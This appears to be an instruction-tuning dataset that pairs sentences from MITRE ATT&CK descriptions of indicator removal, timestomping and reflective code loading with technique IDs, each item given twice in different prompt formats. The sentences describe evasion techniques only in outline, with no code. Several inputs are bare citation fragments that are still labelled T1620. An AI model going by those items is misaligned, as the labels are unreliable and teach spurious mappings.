Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

Input: This may compromise the integrity of security solutions by causing notable events to go unreported.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

Output: T1070

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred. ### Response: T1070.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may modify file time attributes to hide new or changes to existing files.

Output: T1070.006

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify file time attributes to hide new or changes to existing files. ### Response: T1070.006.


Instruction: List the MITRE techniques contained in the text.

Input: Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.

Output: T1070.006

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. ### Response: T1070.006.


Instruction: List the MITRE techniques contained in the text.

Input: This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.

Output: T1070.006

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. ### Response: T1070.006.


Instruction: List the MITRE techniques contained in the text.

Input: Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)

Output: T1070.006

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques) ### Response: T1070.006.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads.

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk.

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation:

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Introducing Donut)(Citation:

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Introducing Donut)(Citation: ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process.

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process.

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation:

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: ### Response: T1620.


Instruction: List the MITRE techniques contained in the text.

Input: Intezer ACBackdoor)(Citation:

Output: T1620

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Intezer ACBackdoor)(Citation: ### Response: T1620.